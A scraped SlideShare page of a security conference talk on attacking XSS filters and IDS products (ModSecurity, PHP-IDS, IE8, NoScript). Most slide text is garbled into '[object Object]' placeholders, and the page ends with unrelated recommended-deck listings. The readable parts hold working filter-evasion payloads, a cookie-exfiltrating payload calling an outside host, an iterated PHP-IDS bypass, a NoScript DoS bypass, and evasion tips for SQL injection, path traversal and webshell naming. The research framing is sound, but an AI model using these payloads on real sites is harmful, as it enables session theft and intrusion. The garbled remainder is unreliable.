SlideShare uma empresa Scribd logo
1 de 108
Our Favorite XSS Filters/IDS and how to Attack Them Most recent version of slides can be obtained from  blackhat’s website or  http://p42.us/favxss/
About Us
About Us ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
About Us ,[object Object],[object Object],[object Object],[object Object],[object Object]
The Basics milk before meat?
XSS Basics ,[object Object],[object Object],[object Object],[object Object],[object Object]
[object Object],[object Object],[object Object],[object Object],XSS Basics – Helpful Resources
Filter Basics Dangerous? yes no UNTRUSTED APPLICATION
[object Object],Filter Basics Browser Server mod_security PHP-IDS Imperva
[object Object],[object Object],[object Object],[object Object],Our Approach
Evasion Techniques hope you liked the milk
[object Object],[object Object],HTML Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],HTML Tricks
[object Object],[object Object],[object Object],[object Object],HTML Tricks
[object Object],[object Object],HTML Tricks
[object Object],[object Object],XHTML Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript Tricks
[object Object],[object Object],[object Object],VBScript Tricks
[object Object],[object Object],VBScript Tricks
[object Object],[object Object],Future Tricks?
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Future Tricks?
[object Object],[object Object],[object Object],Other Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],Other Tricks
[object Object],[object Object],[object Object],[object Object],[object Object],Other Tricks
Unicode and XSS Only Mozilla’s 5 thousand lines of code implementation appears to be safe (maybe).
Java’s Modified Unicode Unicode.... 1.0…..  2.0……  3.0...3.1…..  4.0……  5.0…. Modified Unicode
Unicode Quick Intro ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Overlong UTF ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
PHP ,[object Object],[object Object],[object Object],[object Object],[object Object]
Eating chars ,[object Object],[object Object],[object Object],[object Object],[object Object]
Introducing The Filters PHP-IDS Mod_Security IE8 NoScript
ModSecurity http://modsecurity.org/
[object Object],[object Object],ModSecurity Advantages
[object Object],[object Object],[object Object],ModSecurity Disadvantages
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],ModSecurity Filters
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],ModSecurity Filters
The filter will catch: <img src=&quot;x:gif&quot; onerror=&quot;alert(0)&quot;> but miss: <img  src=&quot;x:alert&quot; onerror=&quot;eval(src%2b'(0)')&quot;> and <img src=&quot;x:gif&quot; onerror=&quot;eval('al'%2b'lert(0)')&quot;> and <img  src=&quot;x:gif&quot; onerror=&quot;window['al0065rt'](0)&quot;></img> ModSecurity
The filter will catch: &quot;;document.write('<img src=http://p42.us/x.png?' %2b document.cookie %2b '>');&quot; but miss: &quot;;document.write('<img sr'%2b'c=http://p42.us/x.png?' %2b document['cookie'] %2b '>');&quot; ModSecurity
[object Object],[object Object],[object Object],ModSecurity
[object Object],[object Object],ModSecurity
PHP-IDS http://php-ids.org/
[object Object],[object Object],[object Object],[object Object],[object Object],PHP-IDS Advantages
[object Object],[object Object],[object Object],PHP-IDS Disadvantages
[object Object],[object Object],[object Object],[object Object],[object Object],PHP-IDS
(?:,*(?:alert|showmodaldialog|eval)*,)|(?::*eval*[^])|([^:,.?+-]*)?(?<![a-z_@])(*return*)?(?:(?:document*)?(?:.+)?(?:alert|eval|msgbox|showmodaldialog|prompt|write(?:ln)?|confirm|dialog|open))*(?(1)[^]|(?:*[^,.@+-]))|(?:java[]*[]*lang)|(?:*=*new++)|(?:&*+*[^,])|(?:[]*new++[]*)|(?:document) Filter Examples ,[object Object],[object Object],[object Object]
PHP-IDS Developing a Bypass eval(name) Injection Found!  Overall Impact: 17
PHP-IDS Developing a Bypass x=eval y=name x(y) Injection Found!  Overall Impact: 12
PHP-IDS Developing a Bypass x='ev'+'al' x=this[x] y='na'+'me' x(x(y)) Injection Found!  Overall Impact: 46
PHP-IDS Developing a Bypass $$='e' x='ev'+'al' x=this[x] y='nam'+$$ y=x(y) x(y) Injection Found!  Overall Impact: 37
PHP-IDS Developing a Bypass $$='e' x=$$+'val' z=(1)['__par'+'ent__'] x=z[x] y=x('nam'+e) x(y) Injection Found!  Overall Impact: 62
PHP-IDS Developing a Bypass $$='e' __='__par' x=$$+'val' z=(1)[__+'ent__'] x=z[x] y=x('nam'+e) x(y) Injection Found!  Overall Impact: 27
PHP-IDS Developing a Bypass $$='e' __='__par' x=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=z[x] y=x('nam'+e) x(y) Injection Found!  Overall Impact: 18
PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' x=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=z[x] y=x('nam'+e) x(y) Injection Found!  Overall Impact: 14
PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) Injection Found!  Overall Impact: 07
PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) 'abc(def)ghi(jkl)mno(pqr)abc(def)ghi ' Injection Found!  Overall Impact: 07
PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y)  'abc(def)ghi(jkl)mno(pqr)abc(def)abc(def)...' Nothing suspicious was found!
PHP-IDS Developing a Bypass http://p42.us/phpids/95.html ,[object Object],[object Object]
[object Object],[object Object],[object Object],[object Object],[object Object],PHP-IDS
[object Object],[object Object],[object Object],[object Object],PHP-IDS
XSS Filter http://blogs.technet.com/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx http://blogs.msdn.com/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx Examining the IE8 XSS Filter by kuza55 (OWASP Australia)
[object Object],[object Object],[object Object],The 3 commandments of the IE filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Compatibility > Security > Performance
[object Object],[object Object],[object Object],Performance + Compatibility
[object Object],[object Object],[object Object],[object Object],What does this mean?
The rules ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],The rules
We will show the remaining  7 of our.. Top 10 reflected XSS attacks and how you can attack with them. Bypassing the Filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Unfiltered Vectors – Top 4,5,6
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Unfiltered Vectors – Top 7,8,9
[object Object],[object Object],[object Object],[object Object],[object Object],Unfiltered Vectors – Top 10
Using CSS-only attacks ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Unclosed Quote
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Unclosed Quote
[object Object],[object Object],Other Exceptions
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Same Origin Exception + Clickjacking
[object Object],[object Object],[object Object],Disabling the filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Bypassing the JavaScript based Filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],JavaScript based Bypass
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Attacking with the XSS Filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Attacking with the XSS Filter
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Q&A with M$
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Q&A with M$ / continued
[object Object],[object Object],[object Object],[object Object],[object Object],XSS Filters in Other Browsers?
NoScript http://noscript.net/
NoScript Advantages ,[object Object],[object Object],[object Object],[object Object]
As any other filter, it's still possible to bypass NoScript's rules, the following attack bypassed NoScript's rules: <a z=“&”x=& onmousemove=t=Object(window.name); ({$:#0=t,z:eval(String(#0#).replace(/@/g,’’))}).z//>     This was fixed last week, have you updated noscript? : http://tinyurl.com/m4nfs9 Bypassing the Filter's Rules
find a bypass 10 minutes before the talk! if I can't.. then.. it doesnt matter haha if I can, notify giorgio haha <<david:  umm... good luck with that Eduardo>> This hasn't been fixed! Found 10m ago
The DoS and pwn on NoScript (for bypassing)   The following example: http://victim.com/xss.php?hello= a-very-long-and-complicated-js-string &html_xss=<script>alert (&quot;pwned&quot;);</script> Will DoS NoScript, and then firefox will kill it, and then your victim will be redirected to your &quot;pwned&quot; webpage. Hacking the Filter
NoScript wont protect websites from attacking themselves, so frames pointing to a redirect that sends to the payload wont be detected by NoScript: Example :  http://tinyurl.com/l5rnyc http://www.google.com/imgres?imgurl=http://tinyurl.com/ZWZ8Z4&imgrefurl= http://tinyurl.com/ZWZ8Z4   and  http://tinyurl.com/ZWZ8Z4  redirects to  https://www.google.com/adsense/g-app-single-1.do?websiteInfoInput.uri=ZWZ8Z4&contactInput.asciiNameInput.fullName= <script> Same Origin Exception
Tribute to the stupid IDS Thanks to pretty much every other WAF vendor out there...
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],README
Stop using  alert('xss') . You should now use  prompt('xss') . Rule Number 1
Dont do  <script> . Do <ScRIPT x src=//0x.lv? Rule Number 2
For blind SQL injections. Stop using  ' or 1=1-- . Use  ' or 2=2-- . Rule Number 3
For SQL injections. Stop using  UNION SELECT . Use  UNION ALL SELECT . Rule Number 4
Don’t do  /etc/passwd . Do  /foo/../etc/bar/../passwd . Rule Number 5
Don’t use  http://yourhost.com/r57.txt Use https://yourhost.com/lol.txt Rule Number 6
Don’t call your webshell  c99.php, shell.aspx or cmd.jsp Call it  rofl.php . Rule Number 7
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Conclusions
[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Thanks
Q + A ,[object Object]

Mais conteúdo relacionado

Mais procurados

An introduction to PhantomJS: A headless browser for automation test.
An introduction to PhantomJS: A headless browser for automation test.An introduction to PhantomJS: A headless browser for automation test.
An introduction to PhantomJS: A headless browser for automation test.BugRaptors
 
High Performance JavaScript 2011
High Performance JavaScript 2011High Performance JavaScript 2011
High Performance JavaScript 2011Nicholas Zakas
 
High Performance JavaScript (Amazon DevCon 2011)
High Performance JavaScript (Amazon DevCon 2011)High Performance JavaScript (Amazon DevCon 2011)
High Performance JavaScript (Amazon DevCon 2011)Nicholas Zakas
 
Javascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stackJavascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stackRan Bar-Zik
 
Testing Mobile JavaScript
Testing Mobile JavaScriptTesting Mobile JavaScript
Testing Mobile JavaScriptjeresig
 
Consegi 2010 - Dicas de Desenvolvimento Web com Ruby
Consegi 2010 - Dicas de Desenvolvimento Web com RubyConsegi 2010 - Dicas de Desenvolvimento Web com Ruby
Consegi 2010 - Dicas de Desenvolvimento Web com RubyFabio Akita
 
JavaScript Performance (at SFJS)
JavaScript Performance (at SFJS)JavaScript Performance (at SFJS)
JavaScript Performance (at SFJS)Steve Souders
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking themMikhail Egorov
 
Web20expo 20080425
Web20expo 20080425Web20expo 20080425
Web20expo 20080425Media Gorod
 
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.Mikhail Egorov
 
Widget Summit 2008
Widget Summit 2008Widget Summit 2008
Widget Summit 2008Volkan Unsal
 
Going Node At Netflix
Going Node At NetflixGoing Node At Netflix
Going Node At NetflixRyan Anklam
 
Even Faster Web Sites at jQuery Conference '09
Even Faster Web Sites at jQuery Conference '09Even Faster Web Sites at jQuery Conference '09
Even Faster Web Sites at jQuery Conference '09Steve Souders
 
Unobtrusive JavaScript
Unobtrusive JavaScriptUnobtrusive JavaScript
Unobtrusive JavaScriptdaveverwer
 
Enterprise AIR Development for JavaScript Developers
Enterprise AIR Development for JavaScript DevelopersEnterprise AIR Development for JavaScript Developers
Enterprise AIR Development for JavaScript DevelopersAndreCharland
 
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityMikhail Egorov
 

Mais procurados (20)

Sxsw 20090314
Sxsw 20090314Sxsw 20090314
Sxsw 20090314
 
An introduction to PhantomJS: A headless browser for automation test.
An introduction to PhantomJS: A headless browser for automation test.An introduction to PhantomJS: A headless browser for automation test.
An introduction to PhantomJS: A headless browser for automation test.
 
High Performance JavaScript 2011
High Performance JavaScript 2011High Performance JavaScript 2011
High Performance JavaScript 2011
 
High Performance JavaScript (Amazon DevCon 2011)
High Performance JavaScript (Amazon DevCon 2011)High Performance JavaScript (Amazon DevCon 2011)
High Performance JavaScript (Amazon DevCon 2011)
 
Javascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stackJavascript Security - Three main methods of defending your MEAN stack
Javascript Security - Three main methods of defending your MEAN stack
 
Testing Mobile JavaScript
Testing Mobile JavaScriptTesting Mobile JavaScript
Testing Mobile JavaScript
 
Consegi 2010 - Dicas de Desenvolvimento Web com Ruby
Consegi 2010 - Dicas de Desenvolvimento Web com RubyConsegi 2010 - Dicas de Desenvolvimento Web com Ruby
Consegi 2010 - Dicas de Desenvolvimento Web com Ruby
 
JavaScript Performance (at SFJS)
JavaScript Performance (at SFJS)JavaScript Performance (at SFJS)
JavaScript Performance (at SFJS)
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking them
 
Web20expo 20080425
Web20expo 20080425Web20expo 20080425
Web20expo 20080425
 
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
 
Js unit testing
Js unit testingJs unit testing
Js unit testing
 
Widget Summit 2008
Widget Summit 2008Widget Summit 2008
Widget Summit 2008
 
Going Node At Netflix
Going Node At NetflixGoing Node At Netflix
Going Node At Netflix
 
Even Faster Web Sites at jQuery Conference '09
Even Faster Web Sites at jQuery Conference '09Even Faster Web Sites at jQuery Conference '09
Even Faster Web Sites at jQuery Conference '09
 
Unobtrusive JavaScript
Unobtrusive JavaScriptUnobtrusive JavaScript
Unobtrusive JavaScript
 
Enterprise AIR Development for JavaScript Developers
Enterprise AIR Development for JavaScript DevelopersEnterprise AIR Development for JavaScript Developers
Enterprise AIR Development for JavaScript Developers
 
Oscon 20080724
Oscon 20080724Oscon 20080724
Oscon 20080724
 
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications security
 
Cache is King
Cache is KingCache is King
Cache is King
 

Destaque

JavaScript done right
JavaScript done rightJavaScript done right
JavaScript done rightSAPO Sessions
 
Jquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação práticaJquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação práticaTeles Maciel
 
No Javascript Howlers
No Javascript HowlersNo Javascript Howlers
No Javascript HowlersDan Goodwin
 
Webentwicklung für das IPhone
Webentwicklung für das IPhoneWebentwicklung für das IPhone
Webentwicklung für das IPhonereinhardh
 
Jquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação práticaJquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação práticaTeles Maciel
 
Javascript levado a sério
Javascript levado a sérioJavascript levado a sério
Javascript levado a sériosaspi2
 
HTML5@电子商务.com
HTML5@电子商务.comHTML5@电子商务.com
HTML5@电子商务.comkaven yan
 

Destaque (8)

JavaScript done right
JavaScript done rightJavaScript done right
JavaScript done right
 
Jquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação práticaJquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação prática
 
No Javascript Howlers
No Javascript HowlersNo Javascript Howlers
No Javascript Howlers
 
Webentwicklung für das IPhone
Webentwicklung für das IPhoneWebentwicklung für das IPhone
Webentwicklung für das IPhone
 
lecture5
lecture5lecture5
lecture5
 
Jquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação práticaJquery - Apresentação e aplicação prática
Jquery - Apresentação e aplicação prática
 
Javascript levado a sério
Javascript levado a sérioJavascript levado a sério
Javascript levado a sério
 
HTML5@电子商务.com
HTML5@电子商务.comHTML5@电子商务.com
HTML5@电子商务.com
 

Semelhante a Fav

주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법guestad13b55
 
Teflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surfaceTeflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surfaceSaumil Shah
 
Lecture 5 - Comm Lab: Web @ ITP
Lecture 5 - Comm Lab: Web @ ITPLecture 5 - Comm Lab: Web @ ITP
Lecture 5 - Comm Lab: Web @ ITPyucefmerhi
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfGiorgiRcheulishvili
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkErlend Oftedal
 
Introduction To Lamp
Introduction To LampIntroduction To Lamp
Introduction To LampAmzad Hossain
 
Developing and testing ajax components
Developing and testing ajax componentsDeveloping and testing ajax components
Developing and testing ajax componentsIgnacio Coloma
 
Joomla security nuggets
Joomla security nuggetsJoomla security nuggets
Joomla security nuggetsguestbd1cdca
 
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010Sergey Ilinsky
 
Javazone 2010-lift-framework-public
Javazone 2010-lift-framework-publicJavazone 2010-lift-framework-public
Javazone 2010-lift-framework-publicTimothy Perrett
 
1. java script language fundamentals
1. java script language fundamentals1. java script language fundamentals
1. java script language fundamentalsRajiv Gupta
 

Semelhante a Fav (20)

주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법
 
Teflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surfaceTeflon - Anti Stick for the browser attack surface
Teflon - Anti Stick for the browser attack surface
 
Lecture 5 - Comm Lab: Web @ ITP
Lecture 5 - Comm Lab: Web @ ITPLecture 5 - Comm Lab: Web @ ITP
Lecture 5 - Comm Lab: Web @ ITP
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
 
Grails and Dojo
Grails and DojoGrails and Dojo
Grails and Dojo
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might think
 
JavaScript
JavaScriptJavaScript
JavaScript
 
Jquery 1
Jquery 1Jquery 1
Jquery 1
 
PHP Security
PHP SecurityPHP Security
PHP Security
 
Retrofitting
RetrofittingRetrofitting
Retrofitting
 
Introduction To Lamp
Introduction To LampIntroduction To Lamp
Introduction To Lamp
 
Developing and testing ajax components
Developing and testing ajax componentsDeveloping and testing ajax components
Developing and testing ajax components
 
Joomla security nuggets
Joomla security nuggetsJoomla security nuggets
Joomla security nuggets
 
Jsp
JspJsp
Jsp
 
Rails and security
Rails and securityRails and security
Rails and security
 
Spring Surf 101
Spring Surf 101Spring Surf 101
Spring Surf 101
 
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
Building Complex GUI Apps The Right Way. With Ample SDK - SWDC2010
 
Ajax ons2
Ajax ons2Ajax ons2
Ajax ons2
 
Javazone 2010-lift-framework-public
Javazone 2010-lift-framework-publicJavazone 2010-lift-framework-public
Javazone 2010-lift-framework-public
 
1. java script language fundamentals
1. java script language fundamentals1. java script language fundamentals
1. java script language fundamentals
 

Último

2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?Igalia
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CVKhem
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsJoaquim Jorge
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 

Último (20)

2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
